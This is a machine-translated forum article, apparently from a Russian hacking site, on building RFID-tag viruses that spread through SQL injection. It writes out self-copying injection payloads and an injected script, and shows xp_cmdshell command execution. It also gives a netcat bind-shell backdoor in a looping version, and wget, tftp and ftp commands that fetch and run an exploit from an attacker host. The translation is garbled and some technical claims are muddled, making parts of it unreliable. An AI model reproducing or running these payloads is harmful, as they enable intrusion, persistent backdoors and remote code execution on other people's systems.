This page has been robot translated, sorry for typos if any. Original content here.

Virus beim RFID-Hacking, Struktur.


{Einführung}

In diesem Artikel ein Zusatz zum Thema RFID-Hacking. Die Grundlagen und der Anfang sind im ersten Artikel unter: http://forum.antianthat.ru/thread123511.html beschrieben. Daraus haben wir gelernt, dass RFID eine Radio Frequency IDentification-Methode ist, um Daten fernzuspeichern und zu empfangen, indem Funksignale mit sogenannten RFID-Tags gesendet werden.

{Über Parasiten}

Die Hauptfunktionen des Virus bei dieser Art von Angriffen sind das Kopieren und Ausführen von beliebigem Code. Für diese Zwecke verwendet der Parasit normalerweise eine Datenbank. Details hängen von der verwendeten Datenbank ab. Im Allgemeinen können wir bei dieser Angriffsart zwei Klassen von Viren unterscheiden: Die erste verwendet willkürliche Abfragen in der Datenbank, die zweite verwendet Quines (spezielles Programm).
Der willkürliche Code, den ein Virus ausführen kann, hängt von den Mechanismen der Datenbankreaktion auf SQL-Injektionen ab.


{SQL-Injektion}

In Verwaltungssystemen wird normalerweise die Methode zum Abfragen von RFID-Tags aus der Datenbank verwendet, mit der anschließenden Rückgabe von Daten, die wiederum in der richtigen Reihenfolge kopiert werden können. Kopieren Sie die Tags also selbst, wenn bestimmte Faktoren vorliegen.

Im Moment können Sie zwei Arten von Viren berücksichtigen, das erste ist ein einzelnes Anfrageprogramm und das zweite ist die Verwendung mehrerer Anfragen.
Der erste Virustyp benötigt wenig Speicherplatz und kann in seiner Struktur keine Kampflast tragen. Und es wird nur für die Eingabe von bereits geplanten Informationen in die Datenbank verwendet. Ein Virus, der im Gegensatz dazu mehrere Anfragen verwendet, wurde bereits erstellt, um die Systeme der automatischen Anzeige zu infizieren und schädlichen Code oder andere Kampflasten einzugeben. Meistens wird die zweite Methode verwendet, aber für den korrekten Betrieb, diese Art von Virus, ist es erforderlich, dass einige Bedingungen in der Datenbank richtig beobachtet werden, und dies ist die Funktion der Funktion GetCurrentQuery-style für den Zugriff zu gewährleisten. Dies ist notwendig, um einen Fehler zu vermeiden, da Sie mit dieser API-Funktion einen Kommentar eingeben können. (Ich beeile mich, Sie zu beruhigen, diese Funktionen sind zunächst in den Standard-Systemen enthalten)

Bestimmte Angriffe können ausgeführt werden, wenn die Datenbank eine Abfrage in das Label eingegeben hat und mit diesem Inhalt geantwortet hat
UPDATE ContainerContents SET OldContents = '% Inhalt%' WHERE TagID = '% ID%'

Hier die Variablen Inhalt und ID

Wenn diese Anfrage fehlerfrei verläuft, kann der Angreifer die Anfrage nach Belieben mit Hilfe unseres Lieblingszitats ('') ändern. Und was kann ich tun, ??? Und das ist nur eine einmalige Kopie in den NewContents-Bereich hinzuzufügen und andere Systeme auf die gleiche Weise zu infizieren.

Hier sind ungefähr was wir brauchen:
Apples', NewContents=SUBSTR(GetCurrentQuery (),43,57) – UPDATE ContainerContents SET OldContents='Apples', NewContents=SUBSTR(GetCurrentQuery (),43,57) -- WHERE TagId='123'
Anstatt nur den OldContents-Bereich zu aktualisieren, aktualisiert die Abfrage jetzt auch den NewContents-Bereich. Mit dem SQL-Kommentar (-) werden alle Zeilen in der Datenbank verschoben, was dem Angreifer neue Möglichkeiten eröffnet.

Einfügen von bösartigem Code

In der oben beschriebenen Injektionstechnologie ist es unmöglich, einen anderen Code als Abfragen in die Datenbank auszuführen.Wenn dies jedoch von der Clientseite des Skripts aus aktiviert wird, wird der Server automatisch anfällig. Skripte können nach dem Kommentar eingefügt werden, so dass das Datenbanksystem sie ignoriert.
Das einzige, was zu berücksichtigen ist, ist, dass wenn Sie den Code in den Exploit einbeziehen, Sie den dritten Parameter SUBSTR berücksichtigen müssen, der mit der Länge des Exploits übereinstimmen sollte.
Apples', NewContents=SUBSTR(GetCurrentQuery (),43,73) --<script>...</script>
In einer ernsteren Version mit der Verwendung von Variablen, und fügt nicht nur einige bestimmte Quietschen, wird dies so aussehen:
Apples'; UPDATE ContainerContents SET NewContents=NewContents || ''';' || GetCurrentQuery () || ';%payload%; --';%payload% --
Hier sollte der Schadcode zweimal bearbeitet werden, also zum ersten Mal, dies ist selbstkopierend in die Datenbank, das zweite Mal ist die Erfüllung von sich selbst.

Momentan ist die Kommentarfunktion in Oracle vorhanden (OCI / iSQL * Plus) Dies stellt die Funktionalität des GetCurrentQuery-Stils mit anschließenden Administratorrechten dar. PostgreSQL, MySQL und SQL Server erlauben auch Kommentare und Mehrfachinjektionsanfragen. Auch hier ist die Funktionalität des GetCurrentQuery-Stils vorhanden. Für PostgreSQL und SQL Server gibt es jedoch noch keine zuverlässigen Arbeitsviren, alles wurde nur durch die Testentwicklung begrenzt.


{Einige Beispiele für die Injektion von bösartigem Code}

Systemverwaltungsfunktionen, die von Datenbanken bereitgestellt werden, können verwendet werden, um Probleme zu verursachen. Zum Beispiel bietet Microsoft SQL Server eine CLOSE-Funktion, die es der Datenbank ermöglicht, privat von SQL zu sein.
Daten aus der Datenbank lesen
UPDATE ContainerContents SET OldContents='%contents%' WHERE TagID='%id%' Daten in der folgenden Abfrage können für direkte Abfragen an die Datenbank verwendet werden.
'|| (SELECT ...) ||'
In diesem Fall führen die Anführungszeichen eine SQL-Injektion aus und bewirken, dass die Daten als Code interpretiert werden. || Der Operator führt eine Sequenzverbindung aus, wodurch das Ergebnis der SELECT-Abfrage zur Region in der Datenbank hinzugefügt wird. Ein Sequenzverbindungsoperator ist erforderlich, um den Kommentar zu notieren, der unsere Lieblingszitate ist.


{Ausführen von Shell-Befehlen über SQL-Injektion}

Der SQL-Server stellt eine xp_cmdshell-Prozedur bereit, mit der bösartige und nicht sehr viele Befehle ausgeführt werden können.
EXEC Master..xp_cmdshell 'commands';

{Hintertüren auf dem System installieren}

Um das System zu entschärfen, benötigen wir die folgenden Befehle
netcat -lp1234|sh
wo der 1234 Port gehört wird.

Aber hier sind wir gefangen von der Gefahr einer etablierten und richtig konfigurierten Firewall oder Brandmauer. Und dann gibt es die Lösung, führen Sie den Code in einer Endlosschleife, so dass es wie ein Daemon funktioniert, die Sie selbst ein erweitertes Back-End erstellen können.
screen -dmS t bash -c"while [ true ]; do netcat -lp1234|sh; done {Andere Funktionen}

Es gibt noch nützliche Funktionen, zum Beispiel wget. Es ist einfach, eine Datei über das Netzwerk herunterzuladen und die Datei im System zu speichern.
wget http://ip/myexploit -O /tmp/myexploit; chmod +x /tmp/myexploit; /tmp/myexploit
wget ist normalerweise nicht auf Windows-Systemen verfügbar. In diesem Fall müssen Sie tftp verwenden
tftp -i ip GET myexploit.exe & myexploit
Sie können auch eine Textdatei erstellen, wie sie im laufenden Betrieb sagen, mit der Echo-Funktion
echo anonymous & echo BIN & echo GET myexploit.exe & echo quit) > ftp.txt & ftp -s:ftp.txt ip & myexploit {Fazit}

Dieser Artikel beschreibt das Eindringen in ein anfälliges System durch Programmierung von RFID-Tags.Natürlich muss ich natürlich warnen, dass das gesamte präsentierte Material nur als Referenz dient. Angesichts der Komplexität der Implementierung von Technologie, nämlich der Erstellung des Labels selbst und der Programmierung mit böswilliger Absicht, erscheint es mir für einen gewöhnlichen Mann schwierig. Ich warne also Leute, die wissen, aber untätig sind, diese Informationen nicht in der Praxis überprüfen.